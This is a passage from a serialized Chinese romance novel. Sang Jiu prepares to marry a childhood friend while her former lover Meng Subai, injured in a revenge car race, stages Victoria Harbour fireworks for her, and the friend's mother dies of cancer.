桑酒猜想大概是她的胃病犯了,连忙打电话给房间管家让帮忙送药,交代完之后,又迟疑了一下,最终还是开了口。 “能麻烦您,顺便带一盒褪黑素吗?” 今天酒虽然喝得不多,但被这么一折腾,她实在头疼睡不着,安眠药必然是买不到,不知道褪黑素能不能凑合- 隔壁套房中,一根长十厘米的针扎入孟苏白背脊。 冷调的水晶灯落下来,衬得男人背脊的线条愈发利落劲挺,肩背宽窄相宜,肩胛骨在白皙的皮肉下凝着淡淡的骨性轮廓,肌理是常年克制锻炼磨出来的紧致,没有多余的赘肉,却也不是过分凌厉的腱子肉,藏着几分精英式的清隽。 唯有后腰往上一寸的位置,横亘着一道蜿蜒疤痕,约莫一掌长,是两个月前赛车事故后手术留下的印,从皮肉里凸起,像白色宣纸上落了道墨,破了那一身的匀净,却更添了几分沉敛的破碎感。 孟苏白微垂着头,腰背绷得轻直,指尖虚抵着沙发边缘,连脖颈的线条都绷成一道冷硬的弧,直到粗针的酸胀感漫过受损的神经节,那点紧绷才稍稍松了些。 须臾,冰冷的药水注入体内,周围神经才被麻木,钢针钻心的痛也被缓解。 拔出针头,私人医生临走前郑重嘱咐。 “孟总,手腕的贴片止痛针恐怕对您的作用不大了,神经阻滞针虽然有效,但也只有几个小时的效果,您最近的疼痛频率越来越高了,药物剂量已达安全上限,长期使用下去可能导致神经耐受崩溃,甚至下肢瘫痪。” 孟苏白没有回头,只是抬手捞过搭在沙发靠背上的白色浴袍,手臂微抬,套上浴袍,骨指分明的手指起落间很稳,慢条斯理系着腰带。 他不紧不慢、事不关己的态度,直接让一旁的贺煜暴走了。 “Kings,不能再拖了!你必须尽快去德国接受治疗!那边专家组都已经准备好了,就等着你过去。” “我心里有数。”孟苏白起身,顺手捞起手机,想看一眼是否有信息。 “有数?我看你是乱了阵脚!在自我摧残!”贺煜不由分说,怒气冲冲就要往门外走,“不就是舍不得小玫瑰嫁人吗?那就当面说清楚!孟栢豪死了,如今孟家最大的威胁没有了,你也不用担心她的安全了,大可拦着她,不要让她跟别人结婚啊 !” 孟苏白却漫不经心收起手机,走到落地窗前,目光沉沉望着远方,他的面色苍白至极,额角的冷汗加重了从骨子里透出的冷郁。 “贺煜,别去招惹她。” “招惹?你今天所作所为不就是在招惹她吗?”贺煜拉开房门,侧身站着,恨不得把他绑了扔到隔壁房间,“孟苏白,真不舍得就别顾那么多,你要知道,一旦她跟别人领证结婚,你们真的没有回头路了。” 贺煜虽然跟桑酒相交不深,但看得出来,她是那种非常有责任心又重感情的女人,如果真嫁人了,不论爱与不爱,都会从一而终,除非那个男人实在糟糕透了。 但显然,她现在的男朋友,目前还算合格。 孟苏白避无可避地想到了俞三禾说的那些醉酒之话,虽然荒唐刺耳,但字字都是真言,他只会给她带来痛苦。 他转过身看向贺煜,沉声道:“贺煜,即便是现在的我,也给不了她确定的未来,凭什么要求她放下一切等我?” 贺煜明显一愣,仍不甘心:“我只知道当初你命悬一线,不就是听到我说她要嫁人,才挺过来的吗?怎么如今捡回一条命,反倒怯懦了?这可不是我认识的那个,拼尽一切也要为大哥报仇的Kingsley。” “你就当我懦弱,不敢再赌了吧。” “你连命都敢赌,还有什么不敢?” 提起这事,贺煜就后怕得背脊发凉,气打不过来。 两个月前,勒芒市那场秘密赛事几乎无人知晓,他们一度都以为他是去法国散心的,从没想过孟彦廷头七刚过,他会跟孟栢豪来一场夺命赛车比赛。 那时,FBI还没揭露孟栢豪的杀人罪行,孟栢豪自以为天衣无缝,高傲得很,在孟彦廷葬礼上甚是嚣张。 孟苏白一个帆船赛手,约他这个顶级专业赛车手比赛,还是在勒芒市这种死亡路线,不是送命是什么? 毕竟在那种情况下,任何意外都属于正常事故。 他们甚至弃了救命的HALO系统,可以说是拿命上阵,不顾一切地疯狂。 孟栢豪原以为他这个不问世事同父异母的兄长只会摆弄帆船,却没想到他玩起赛车来也是那样不要命,全程死死咬住他的车位,像是在寻找什么,伺机而发,直到最后一圈的致命盲弯,他以为胜券在握,却没想到孟苏白的赛车会失控撞上来,夹杂在孟苏白赛车与山墙之间的车子瞬间被碾压成碎片,孟栢豪当场丧命,孟苏白最后一刻急转方向,赛车在空中翻转了三周,飞向赛道边的树林。 贺煜是第一时间赶到车祸现场的,孟苏白算好时间给他发了信息,在最后一刻替他捡回一条命。 “孟苏白,赛车相撞的那一刻,你就没有一丝迟疑后悔吗?” 但凡他过去晚一分钟,孟苏白也会死在那个冰冷的夜晚。 孟苏白握紧手里的佛串,那晚眩晕的记忆、身体被撕扯碰撞的疼痛,瞬间涌上脑海。 怎么会没有后悔,珠串被撞得散落一地时,他后悔没有去见她最后一面,没有好好跟她道个别。 如果自己真的命丧于这里,他不希望她看到这条新闻时,已经记不起他的模样。 可他被枷锁逼迫得不能有一丝迟疑,他虽然不想余生都困在这些家族仇恨上,也将那些世家虚名看得很淡,只要孟栢豪不过分恶劣,他倒是愿意陪他打一场冗长的商战,只是他千不该万不该,不该去动孟彦廷。 孟苏白当时是抱了速战速决的决心,一方面要为孟彦廷报仇,一方面也想给桑酒一个彻底交代。 他不想要她再傻傻等下去,因为知道即便分手,这个傻姑娘也会一直为他自己停在过往。 他们是同类人,一旦爱上一个人,就不会再爱上别人。 如果他不幸死了,她可以彻底断了等待的念头;如果他有幸活下来,他就会尽快摆脱家族的束缚回到她身边。 只是他无论如何也没想到,短短时日,她就要结婚了。 孟苏白知道桑酒不是那种任性冲动的女孩,她执意要结婚,必然是有她的缘由,无非又是为了还恩那个男人,他以为只要那个男人生意越做越好,她就不需要还这些恩情,所以暗地里着人帮衬了不少。 可即便如此,她还是要嫁给他。 是除了恩情,还有其他的吗? 孟苏白不明白,也不敢去明白。 桑酒曾一直说过,这个世界上,最适合她的男人,就是那个人。 也许,他该放手让她去试一试。 无论如何,无论何时,他都会是她的退路。 孟苏白拧了一瓶水灌了下去,回答他上一个问题:“她的命,她的幸福,我都不敢赌。” 如今的孟家正是百废待兴,孟栢豪虽然为他的罪行付出了应有的代价,但他母亲一族依然是不可小觑的威胁,梁婉盈还在养胎中,一切皆是变数,他怕自己不顾一切让她回到自己身边后,给了她希望又无法承诺。 其实这样也好,能远远看着她 ,知道她很幸福,就足够了。 那场车祸虽然没有夺走他的命,但给他身体留下了巨大的创伤,后腰一条疤痕、腰椎第三节爆裂性骨折,左侧坐骨神经严重受损,虽然经过紧急手术保住生命,但神经损伤引发的复杂性区域疼痛综合征难以根治,时刻都会发作,犹如千万根钢针穿刺骨髓,伴随肌肉痉挛,尤其情绪激烈时,痛不欲生,生不如死,严重时会短暂丧失行走能力。 孟氏集团近些年的发展方向重心会放在德国,他本就需要长期前往那边,正好将医疗团队定在了德国慕尼黑。 但如果开始接受治疗,周期会很漫长,多则两年,少则一年时间,预后更是未知数,孟苏白不想用这些未知的枷锁困住桑酒。 “那你打算什么时候走?”贺煜也是拿他没辙了,关上门,退回房间。 “圣诞过后吧。”孟苏白说。 他曾答应桑酒,要送她一场维港的烟花。 至少,要完成这个承诺之后,才能安心离开。 “行吧,反正也就这几天了,”贺煜决定让他看清楚眼下局势,“别说我没提醒你,他们婚期在元旦。” “我知道……”孟苏白的笑声无奈又自嘲。 房间内线骤然响起,他几乎是第一时间抬步走过去,接通。 片刻过后,男人好看的眉心蹙起,目光似乎更沉暗了几分。 门铃响起时,桑酒头发都没完全吹干,裹着浴袍便起身去开门。 却被忽然出现的孟苏白惊了一跳。 他的脸色似乎比刚才好一些了,但看起来仍旧让人无端有些心疼。 “你……你还没睡?” “嗯,”孟苏白目光落在她湿润的头发上,停留了两秒,随即移开,将药袋子递过去,“刚在楼下运动,电梯里碰上管家了,顺便帮你们带过来。” 其实是他交代过管家,有任何要求都要答应,如有异常联系他,他就住在隔壁房间。 桑酒不疑有他,接过药袋子,轻声说了句谢谢。 “她怎么了?” “老毛病犯了,吃颗止痛药就好了。” “那你呢?” “……我什么?”桑酒诧异抬眸,甚至有一丝心虚。 “失眠也是老毛病犯了吗?”—— 作者有话说:抱歉宝们,最近三次元工作有点忙,所以更新有点慢[可怜][可怜]但我会争取每一章都肥一点的[狗头叼玫瑰][狗头叼玫瑰] 第72章 海城终于下雪了, 浪漫又温柔的小雪。 酒馆今天生意不错,早早就络绎不绝,对面花店的小姑娘抱着一大束玫瑰过来, 娴熟地放到吧台上:“嗨, 今天的玫瑰花来啦。” 桑月从电脑前抬起脑袋, 双手捧过鲜花, 说:“哇哦, 今天的玫瑰好漂亮啊,绿色的?叫什么名字?” “苏格兰绿玫瑰,今天新到的, 你们是我们店铺的VIP客户, 特地给留了一束最大的。” “谢谢媛媛姐!” 赵媛环顾了一周:“桑老板人呢?好像有两天没看到她了 。” 桑月一边给玫瑰花拍照,一边说:“我姐生病了, 在家休息呢, 晚上我把花带给她看看,她一定会喜欢!” 从澳城回来后的第二天,桑酒便感觉不对劲,烧了一天, 迷迷糊糊躺在家里睡觉, 也算间接补了个睡眠。 俞三禾的电话打过来时,她的烧才彻底退下去,只鼻涕直流, 喉咙还有些痛。 “桑桑, 出来吃烧烤呀, 你们小区楼下开了一家烧烤店,听说很不错,我跟佑子都占好位置了!” 李佑泽今天出差回来, 原本是桑酒去接机的,奈何实在没精神,就让俞三禾去了,这两人一回来就嚷着要吃烧烤喝奶茶 ,也不管她死活,还美其名曰以毒攻毒。 桑酒被俩活爹整得无语了,但是她躺了两天,也的确想下去透透气,便随意披了件居家睡衣就下了楼。 孟苏白把车停在阳光花园楼下的路边,得知她生病,他什么也不顾,直接开了车过来,可到了又不知道该如何下一步。 答应过不再见面的。 澳城那晚,他询问她失眠的事情时,她的目光是那样冷淡。 “只要孟先生不再出现我面前,我就能好好的。” 眉峰缓缓低垂,即便强大如孟苏白,神情中也不免带了一丝苦涩与低落。 他没有任何理由见她一面。 之前在樾华璟,他晚上有工作,她一个人偶尔也会睡不着,他便会把电脑搬到床上办公,她则环着他的腰,仿佛被他的气息包围住才能安然入眠,但再如何也不至于靠药物才能入睡。 所以,是因为他……因为他,她的失眠情况更严重了。 孟苏白背着风点了一支烟,猛吸了一口,夹在指间,垂在车窗外,等再抬眼时,便见到她的闺蜜和男友坐在一家烧烤摊前,打着电话催促着什么。 他脸色微沉,眸色半眯盯着那边方向。 果然没一会儿,便见桑酒裹着一件毛茸茸的兔子睡衣出现在两人身后,拉开一张月亮椅坐下。 她摘下连帽,露出一张苍白憔悴的脸,捂着嘴咳了两声。 坐在寒冷风中,浑身都在瑟瑟发抖,桑酒冻得直哆嗦,一边抽纸巾擦鼻子,一边不爽指责两人。 “你俩是真不把我的命当命啊。” 她感觉自己鼻子都要裂开了,此时估计毫无形象可言。 烧烤店就在他们常喝奶茶的那家店旁边,门口摆着几张桌椅,烧烤店因为是新开的,环境倒很干净舒适。 李佑泽指着俞三禾:“你问这个癫婆。” 俞三禾却卖起了关子:“等会儿再说,等会儿再说!我们再去买点别的来吃吧,光吃烧烤多没味!桑桑,你想吃什么?” 桑酒又咳了两声,嗓音更哑,无精打采:“你觉得我能吃什么?” “糖水?关东煮?”俞三禾哈哈大笑,“我去给你整点清淡的来!” 桑酒懒懒抬头:“关东煮吧。” 两天没吃什么东西了,她想吃点热乎有味道的。 “行,我去点我们常吃的那家关东煮,佑子,你去点两打生蚝,再看些别的……” 晚上八点,附近走鬼出没,长街摆满了各种美食车子,俞三禾跟李佑泽兵分两路去点餐了,桑酒一个人坐在寒风里百无寂寥,撑着下巴身子缩成一团,时不时往掌心哈着热气取暖,盯着这人来人往的街道,确实比一个人躺在被窝里睡又睡不着,起又起不来好受些。 目光无意一扫,落在路边不远处一辆黑色轿车上,她目光一愣。 与此同时,车窗骤然升起,一缕烟灰在风中弹落。 倒是那只一闪而过的手,莫名有些熟悉。 桑酒觉得自己大概是病迷糊了,可再细看一眼,又觉得这辆车子有些眼熟。 这个小区老破小来着,都是外地打工的租户,奔驰车还挺少见的,即便有也不会是这种紧凑型SUV的GLA,但桑酒感觉最近好像经常见到这辆车,小区楼下、酒馆对面…… 也不知道是不是错觉,她心中一动,起身朝那边缓缓靠近。 车窗一片黑,根本看不见里面。 桑酒脚步停在一米之外的距离,也不知为何,忽然有些紧张,下意识咽了咽口水,竟有种冲动想绕到前面去看。 “桑桑?”俞三禾忽然从一旁走过来,“你怎么过来了?是要吃什么?” 桑酒猝不及防被叫住,抬手指了面前最近的一家台湾小笼包:“我想吃这个灌汤小笼包。” “行,”俞三禾直接跟老板点了两笼,然后揽着她的手臂往回走,发现她穿得是真少,“你说你,好好的怎么就感冒了呢?” 桑酒心不在焉回:“托你的福啊?” “关我什么事?”说完,俞三禾忽然反应过来,“难道是在澳城累的?” 提起澳城,桑酒一时不想开口说话。 偏俞三禾问题不断:“说起来,你那天订的酒店也太好了吧,下次去澳城我还要住那家!” “你还去?” “不不不,随口提的,嘻嘻!” 桑酒无奈摇头。 俞三禾那天早上醒来,完全忘了前一天晚上的事情,也忘了是孟苏白送她们去酒店的,倒也省了自己一番解释,但指不定哪天她又会想起来。 没过一会儿,李佑泽也满载而归,几人准备开动时,桑酒盯着他看了半晌,忽然说了句冷。 李佑泽一愣,唯唯诺诺脱下自己的外套给她披上:“祖宗,这样不冷了吧?” 谁能想到,他西装外套下,只有一件老头衫。 桑酒跟俞三禾两人顿时笑喷了。 “让你装 !”笑完,桑酒把衣服丢给他,又让他靠过来一点,“那给我挡下风口吧,别跟你们吃个烧烤,给我整进医院了。” 俞三禾看着两人挨在一起的模样,不禁起了一身鸡皮疙瘩:“怎么,你们要开始在我面前秀恩爱?” 李佑泽给她丢了一个鸡翅过去:“碍着你了?你也可以找一个男人过来显摆一下。” “男人?你哪点值得我们桑桑显摆?”俞三禾冷哼一声,“你他妈讨了我们桑桑才叫显摆吧?” 李佑泽笑着点头:“对对对,我说错话了!” 他一边说,一边把关东煮移到桑酒面前,动作倒是体贴入微。 桑酒看着两人打打闹闹,也不阻止,含着笑吃得缓慢:“我跟你们说,吵嘴可以,不准掀桌子,别耽误我吃东西。” 李佑泽:“我稀罕跟她吵?最近神神经经的,就跟进入更年期一样。” 桑酒眉头一皱,果然下一秒,俞三禾狗急跳墙。 “死佑子,嘚瑟是吧?我警告你!结婚以后你要是敢对桑桑不好,老子第一个不饶你!还有,收起你以前那些臭毛病,把烟酒牌戒了,那些乱七八糟的地方也不准去!妈的你讨到这么好的老婆是家里积德知道不?” “是是是!”李佑泽丝毫不敢反抗。 “我跟你说,现在这年代,结了婚又怎么样?你要是对她不好,分分钟给你打残废!离婚!” 俞三禾又叽里咕噜说了一大堆,桑酒慢条斯理吃肉喝汤,偶尔看着两人拌嘴发笑,偶尔又出神望着街边远方。 夜色清冷,周边烟火气息十足。 她也不知道自己在看什么,只是回过神时,骤然发现,那辆奔驰不知何时开走了,留下空荡荡的车位,如同她此刻心底的失落,总觉得有什么在远去。 直到那一碗关东煮见了底,她才收回目光,看向不知何时闭了嘴的俞三禾。 “说完了?” 想到好姐妹就要结婚了,还是嫁给自己不爱的男人,俞三禾多少有些难过的,她心情低落点头:“说完了。” 桑酒抽纸巾擦了下嘴唇:“那就说说你吧,是有什么事要说吗?” “算是吧,”俞三禾深吸了一口气,宣布:“明年,我打算回遂溪发展了。” “为什么?”桑酒有一瞬惊住了。 “我想回老家开牌馆,没那么大开销,而且我给自己买的新房已经装修好了,回去还能省房租费呢,老家熟人多,生意肯定也好做的。” 李佑泽也愣了一下:“老铁,你这是要丢下我们?” 俞三禾切了一声:“你俩现在各有事业,还要我陪什么?再说了,我也漂累了,就想回家,其实牌馆在哪儿开都一样,而且我爸妈也住附近,还能蹭蹭饭什么的,舒服得很。” “你考虑好,不后悔就行。” 桑酒在沉默中思考了许久,她明白俞三禾现在的处境,也许离开会是更好的选择。 相濡以沫,不如相忘于江湖- 转眼,圣诞将至,桑月早早准备好物料,开始忙不停歇装点酒馆。 桑酒更是从商场挑了一棵三米高的圣诞树,让人运来回来,专门摆在酒馆门口给客人打卡,还买了一台造雪机,前两天的雪太小,氛围不够。 吃完中饭就开始拆箱捣鼓,装饰圣诞树,什么铃铛、星星、各种小玩偶和彩灯、礼盒、圣诞老爷爷等,一一挂到树上,李佑泽今天得空,也过来帮忙,三个人忙了一下午,直到黄昏日落才忙完。 “你慢一点。” 最后一颗星星灯很大,桑酒想亲自挂到树尖,便让李佑泽下来扶梯子,自己爬了上去。 因为圣诞树比较大,梯子离树尖有一定距离,她伸长了手才能勉强够着。 李佑泽扶着梯子,示意她小心一点。 “开灯看看效果。”挂上星星灯后,桑酒懒得爬上爬下检查,干脆坐在梯子上,想看看成果。 “那你坐稳了。”李佑泽松了手,去地上按开关。 整棵圣诞树亮起的那一刻,鎏金碎芒的暖光照亮桑酒的脸庞,在她周身漾开,像盛了一捧揉碎的星光,安静又温柔。 “很漂亮。”李佑泽说,可不知道为什么,看着这样平静的桑酒,他只觉得陌生。 好像眼前的桑酒,不是那个与他自小一起长大的桑酒,眼中无光,再无往日热烈与韧劲,三魂七魄也像少了一魂一魄,看任何事任何人都无动于衷到有些冷淡。 她虽然说要与自己结婚,可李佑泽总觉得,即便不是他,也可以是任何人。 “桑桑,你怎么了?”他温声询问。 桑酒没有听到,她高高坐在梯顶,盯着那盏星星灯出神,脑海里只有一句声音响起。 “今年圣诞节,我要亲自在维港,为你放一场独属于你的烟花。” 维港的烟花,终究是不会为她绽放了 。 眼睛湿润的一刹那,她回过神,听到李佑泽的声音。 “桑桑,下来。” 男人朝她伸出手。 桑酒盯着他看了两秒,随即脚往下退了一步,手轻轻搭在他掌心。 “谢谢。” 她没有发现自己的声音有些哽咽。 只是目光轻抬时,又撞见对面花店门口那辆停了许久的黑色轿车。 似乎就从未见车上的人下来过。 当晚平安夜,酒馆彻夜狂欢,一直持续到第二天的凌晨三点才散场。 桑酒推开酒馆的大门,尚还打着哈欠,猝不及防被一大捧玫瑰怼到脸上。 “桑老板,早啊!”赵媛忽然就出现在酒馆门前,“圣诞快乐!” 桑酒还有些恍惚,接过那束香气袭人的玫瑰花:“早……圣诞快乐。” “今天给您送的是弗洛伊德玫瑰,花语是愿我们每个人都能活成一束光,绽放所有美好!请签收!” “谢谢 ……”桑酒低头签字,想起什么,不由一笑,“你们店会员福利会不会太好了吧,我怎么感觉每天送的花都不止199的会员费,这一年送下去,你们老板还能挣钱吗?” 赵媛笑着说:“也不是人人都只要199的,桑老板是我们独一无二的尊贵会员。” 桑酒笑着摇头,对这份独一无二的幸运表示感谢。 “桑老板,记得好好照顾它哟。”赵媛丢下一句话,便转身离开。 桑酒点头,抱着玫瑰转身回了酒馆,放到吧台时,又看到里面还有一张卡片和一个蓝色信封,卡片上的字迹一眼看去有些熟悉。 她蓦然想起四年前,孟苏白写的那张愿望卡,下意识摘下卡片。 维港的烟花,今晚为你绽放。 桑酒手猛然一顿,思绪飞转的同时,又有什么疑惑在这一刻忽然得到解释。 是他? “姐,你醒这么早啊?” 身后,桑月跟俞三禾迷迷糊糊下了楼走过来,见她手里拿着卡片发呆,凑过去看。 “今天花店的人这么早?”桑月瞥了眼卡片上的字,念出来后,问,“为谁绽放?” 桑酒没有说话,仿佛处于宕机中。 俞三禾顺手拾起花束中的蓝色信封,拆开后,一脸不可思议的震惊:“卧槽 !桑酒!你发达了?” “什么?”桑酒被她夸张的语气吓醒了,还有一丝莫名的心虚。 “你要请我们去维港购物,看烟花?” 俞三禾抽出信封里的东西——四张机票、两张房卡和一张购物卡,机票是她们和李佑泽的! “这是……”桑月也一脸震惊,“难道是年底福利?” 桑酒看清那几张机票后,人有点懵,搞不清头绪。 俞三禾已经推着桑月上楼:“走走走,收拾收拾准备出发!” 还不忘回头对桑酒飞吻。 “桑老板大气啊!” 桑酒独自凌乱了。 他这是什么意思? 不是说好了不见面了吗? 掏出手机想发信息问问,才想起已经将对方拉黑删除了- “姐,我们是先去购物,还是去酒店呀?” “先去酒店吃点东西吧!购物需要一定体力的!” 直到飞机落地,桑酒整个人还在梦游中,面对一脸期待兴奋的桑月和俞三禾,她也说不出什么扫兴的话来。 既来之,则安之。 他既然也请了李佑泽,那就说明,他不会出现的。 “你们安排吧。” “桑桑,你怎么看着无精打采的?”一旁推着行李箱李佑泽看出她的心不在焉,贴心询问。 “没什么,可能昨晚没睡好……” “各位旅客,欢迎抵达港城国际机场,”忽然,头顶响起机场广播,“值此圣诞佳节,今晚八时,于维多利亚港海域举行的盛大烟花表演,诚邀各位莅临观看。预祝您旅途愉快,圣诞安康,万事顺遂。特以此璀璨之夜,敬呈予Rosemary Princess小姐,Kings敬奉。” 语调平缓温和的粤语女声,直接让这则快讯增添了一丝浪漫而神秘的味道。 却听得桑酒浑身血液倒流。 “Princess?谁家小公主?Kings又是哪位大佬?”桑月听得懂粤语,一脸好奇兴奋,“难道今晚维港有大佬求婚?” 李佑泽点评:“有钱人的把戏,庸俗!” “有本事你也庸俗一把?”俞三禾向来不给李佑泽好脸色,哼了一声说,“我们女人就爱看这些庸俗的把戏对不对?” 桑月点头:“对对对!” 李佑泽总觉得,这段时间,桑月跟俞三禾对自己有意见,尤其是桑月,看着自己的眼神,嫌弃中带着几分埋怨,估计是觉得他娶了她姐占了大便宜。 他决定结婚那天,给这位小姨子包一个大红包。 俞三禾又碰了碰桑酒的肩膀:“桑桑,你太有先见之明了!今晚这趟不白来啊!” 话音刚落,却见她眼尾泛红,一串泪珠猝不及防落下。 俞三禾顿时被吓到了:“桑桑,你怎么了?” 李佑泽跟桑月闻声围了上来:“什么怎么了 ?” “……没事……就是……刚刚有虫子飞眼睛里了。” 桑酒低头,去揉眼睛,却是借势擦掉泪水。 三人看着干净到飞不进来一只蚊子的机场,有些纳闷。 “好了,走吧。”桑酒很快整理好情绪,往机场出口走去,身后的广播周而复始循环着,一字一句仿佛刻进她的骨血。 他的承诺不但做到了,还高调向全世界宣布。 只是隐匿在背后的沉重爱意,无法光明正大宣之于口。 出了机场,四人打了一辆出租车,刚坐下,老式车载电台的轻微电流声响起,轻快的粤语入耳,又是同样的烟花表演播报。 “听众朋友们,值此圣诞佳节,今晚八时,于维多利亚港海域举行的盛大烟花表演……请前往观赏的乘客,合理规划出行路线,注意人身安全,祝您乘车愉快,圣诞快乐。” 桑酒背脊陷入椅背,多希望时光就停留在这一刻。 完成这最后一个诺言,他是不是就真的永远抽离她的人生? 她不再是任何人的Princess,也不会有Kings在她最需要的时候出现。 无人在她工作时指点迷津,又无条件支撑她的梦想,无人再为淋雨的她撑伞,无人再为沐浴过后的她吹发,也无人再那样温柔深情亲吻她、拥抱她…… 那晚八点,圣诞夜的维多利亚港,彻底被一场堪称空前绝后的烟花盛宴点燃,璀璨焰火划破墨色夜空,打破了香江过往所有烟花表演的纪录。 从港湾中央次第升空的烟火,先是化作漫天碎钻倾泻而下,继而绽放成绵延数里的金色花树,将两岸摩天楼宇的玻璃幕墙映得流光溢彩,紧接着,一朵巨大的玫瑰定制焰火缓缓升起,层层叠叠铺展,绚丽耀眼的轮廓仿佛镶了钻一般。 而玫瑰之上,焰火过后,骤然出现一个红酒瓶,像是由数千架无人机组成,星光点点,酒瓶轻轻斜起,一刹那,仿佛有红色酒液缓缓注入玫瑰,流动轻柔的,花瓣从底部逐渐上色,鲜艳的红璀璨夺目到令人窒息。 这一幕,停留在香江数百米的上空,足足二十分钟,直到那支红色玫瑰彻底在夜空中绽放,也不知道要燃放多少烟火才能维持这样浪漫的奇观,光影交织间,彻底定格了这个圣诞最震撼的绝美瞬间,每一次炸裂都引来震耳欲聋的欢呼。 从酒店落地窗望去,维港的栏杆前、海面的邮轮上、海对岸每一扇落地窗前,甚至山顶都是人山人海,俞三禾她们也兴奋得跟所有人一样举着手机大喝精彩,就连上一刻还不屑一顾的李佑泽,也看得入神。 这一刻,万人空巷,齐聚维港,所有人都为这盛大而浪漫的一幕欢呼。 唯有桑酒热泪滚烫,一瞬不瞬盯着那独属于她的、史无前例的浪漫,每一朵绽放的焰火,都是他沉默却热烈的告白。 如果……如果不是命运捉弄人。 她应该与他一起共享这幸福时刻。 然而烟花转瞬即逝,即便他为她延长了这梦幻景象,也终究是要结束的。 这不是浪漫的开始。 而是他们彻底落幕的倒计时—— 作者有话说:久等了~ 第73章 翌日早上, 四人从维港回了海城。 李佑泽准备开车跟桑酒去高铁站接父母,还没启动,桑酒便收到妈妈打来的电话——李佑泽母亲病危。 挂断电话, 她转头看向驾驶位的李佑泽, 忽觉悲伤, 知道再也瞒不住了, 声音忍不住颤抖。 “李佑泽, 我们直接去领证吧。” 桑酒知道,也许他妈妈等不到那场婚礼了,也看不到她身穿婚纱的样子, 现如今, 最快的速度就只有领一张证,让她不带着遗憾离去。 李佑泽怔了一瞬:“你说什么?” “我们现在去民政局, 领完证就回遂溪。”桑酒收起情绪, 异常冷静说道,仿佛结婚领证就跟逛菜市场买菜一样简单。 李佑泽看着她的目光却充满疑惑:“你知道你在说什么吗?” “跟你领证啊。” 李佑泽低头,沉了半晌,似下定决心:“可是桑桑, 你心里有人, 怎么跟我领证呢?” “你……” “你还要骗我到什么时候?” “对不起,我……”桑酒早就想过这一天会到来,只是没想到会在这个时候, “李佑泽, 我不是故意骗你的, 只是我跟他都结束了……” “是孟先生,对吗?”李佑泽仿佛不想听那么多,直接问道。 桑酒倏然顿住, 看着他一时说不出话来。 李佑泽忽然笑了一声,带着几分自嘲:“原来真的是他。” “我说了,已经过去了,结束了,”桑酒依旧面无波澜,“李佑泽,我是真的想跟你结婚。” “昨晚维港那场烟花,”李佑泽不敢看她,目光落在方向盘上,有些颓败感,“是他为你放的吧?” 桑酒还想欺骗他,亦或者是欺骗自己:“不是的。” “那你昨晚为什么哭?” “我……” “你微信给他的备注是Kings,你的英文名是Rosemary,公主的真名叫Princess,所以昨晚让世人羡慕的Rosemary Princess,其实就是你,对不对?” 桑酒看着李佑泽沉默不语,第一次知道,他脑子竟然也能懂这么多。 “是不是觉得我的猜测很无厘头?”李佑泽终于抬眼看她,挫败的眼中强加了一抹笑意,“其实宋祁提点过我很多次,只是我愚蠢,一直以为你跟他之间,只有合作关系,但昨晚我想了很久,从他出现在你身边开始,你们的关系就非同一般,那次烧烤,他的目光就一直在你身上,你玩游戏跟他的告白,也是真的对不对?你们去宁市、去港城出差,其实都只是幌子?” “李佑泽,我不想骗你,”桑酒握紧了拳头,决定坦白,“我是跟他有过一段,但是都过去了。” “所以你那次说要回遂溪,公开我们假情侣的事情,是因为他?” 桑酒默认。 “那为什么又不公开了,反而要跟我结婚?” “我跟他早就结束了。” “结束?什么时候结束的?” 见桑酒不说话,李佑泽又质问:“是说要跟我结婚那时候?你是想利用我来忘掉他吗?” “李佑泽,这件事情,我后面再慢慢跟你说行不行?”桑酒难得对他好口气,“我们先去民政局……” 然而她越是冷静,李佑泽便越是激动。 “桑酒!你到底把我当什么了?”他一掌拍在方向盘上,怒吼道,“接盘侠吗?” “李佑泽!”桑酒也被他吼得来火了,但一直克制着,沉着声试图让李佑泽冷静下来。 李佑泽也不知道受了什么刺激,一股脑将多年的委屈发泄了出来。 “我李佑泽是没什么出息,这些年像条狗一样守在你身边,事事都顺你依你,你说在一起就在一起!说分手就分手!甚至提出假扮情侣我都毫无怨言,我甚至觉得很庆幸,庆幸你想到的人是我,因为我以为,我们可以一直这样假扮下去,你要跟我结婚,我还以为……还以为你真的爱我,”李佑泽笑着笑着,眼泪也掉了下来 ,“我是犯了错,可我也一直在弥补了,桑酒,你不能对我这么残忍,心里装着别的男人,还要来招惹我,我也是有感情的,不是机器人,你招之即来,挥之即去。” “对不起。” 桑酒静静看着他发泄完,才开口。 “从前是我考虑不周,没有考虑过你的感受,但是我要跟你结婚,真的跟他没有关系。” 李佑泽冷笑一声:“开什么玩笑,有过孟先生那样优秀的男人,我在你眼里,还不如一粒尘埃吧?” 桑酒淡淡看着他:“你非要这样觉得,我无话可说。” 李佑泽瞬间气炸:“你们女人都这样,吃过山珍海味,就吃不了粗茶淡饭!三禾不就是这样?谈了个宋祁就眼高于顶,谁也看不上……” “李佑泽!”桑酒冷喝一声,“我们的事情,能不能不要牵扯别人?” 李佑泽自知理亏,脸色黑青:“行,那你说,你为什么非得跟我结婚呢?他不要你了?还是他……” “你妈生病了。” “……你不用再……”李佑泽顿住,“你说什么?” 桑酒深吸一口气,却依旧克制不住颤抖。 “胰腺癌,晚期。” “可能……”- 李佑泽母亲还是没有撑到元旦那日。 那天,桑酒跟李佑泽匆匆赶回遂溪,见了他妈妈最后一面,当天夜里,便在李佑泽怀里安详离去。 虽然李佑泽没有答应去领证,但桑酒还是唤了李母一声“妈”送别她。 事发突然,喜事变丧事,李佑泽直接取消了婚礼。 深夜的灵堂前,寒风肃骨。 桑酒再次提出领证。 “好歹我也喊了一声妈,不能让她在九泉之下不瞑目。” 李佑泽跪在母亲灵柩前,一言不发烧着纸钱。 似乎短短几日,他就成熟了许多。 “你在怪我?”桑酒问他,同时自责,她以为用最好的药物养着,最起码可以拖到年后,只是没想过病情会来得这么凶猛。 “我爸说,你是在我生日那天知道我们生病的?”像是许久没有说话,李佑泽的声音极度沉哑,他盯着火光,恍若失神。 “是。” “也是你陪她住院,带她去大医院治疗的?” 桑酒没有说话,因为她觉得,这些都是她应该做的。 “桑酒,你是因为我妈生病,才跟孟先生分手的吗?” 桑酒猛然抬头:“……不是。” “可你明明还爱着他,他也爱着你。” “李佑泽,现在不是谈这些事情的时候,”桑酒对他有些无语,“明天你妈妈就要出殡了,你不答应跟我领证,我就没法作为儿媳妇送她上山,你这样让村里人怎么说?她知道也会伤心的。” 李佑泽抬眸盯着她半晌,却忽然跟她道歉:“对不起,桑桑。” 桑酒:“……” “那天,我说了难听的话。” “我没有放在心上,你不用跟我道歉。” “所以呢?”李佑泽问她,“你打算跟我结婚,就过这样的日子吗?没有爱,没有恨,甚至没有任何情绪?” “我们可以像从前那样。”桑酒说。 